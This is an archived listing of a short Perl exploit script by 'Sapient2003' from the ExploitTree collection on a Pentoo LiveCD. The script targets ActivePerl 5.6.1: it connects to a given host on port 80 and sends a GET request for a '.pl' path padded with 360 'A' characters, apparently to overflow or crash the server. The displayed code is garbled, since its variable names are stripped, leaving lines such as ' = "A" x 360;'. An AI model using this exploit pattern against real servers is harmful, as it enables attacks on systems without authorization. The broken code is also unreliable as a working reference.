home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / interpreter / activeperl / activeperl-ex.pl < prev    next >
Perl Script  |  2005-02-12  |  444b  |  24 lines
  1. #!/usr/bin/perl -w
  2.  
  3. use IO::Socket;
  4.  
  5.  = "ActivePerl 5.6.1.629";
  6.  
  7. unless (@ARGV == 1) {
  8.   print "\n Exploit by Sapient2003\n";
  9.   die "usage: -bash <host to exploit>\n";
  10. }
  11. print "\n Exploit by Sapient2003\n";
  12.  
  13.  = "A" x 360;
  14.  = "GET /.pl HTTP/1.0\n\n";
  15.  
  16.  = IO::Socket::INET->new(
  17.         PeerAddr => [0],
  18.         PeerPort => 80,
  19.         Proto    => "tcp",
  20. ) or die "Can't find host [0]\n";
  21. print  ;
  22. print "Attempted to exploit [0]...\n";
  23. close();
  24.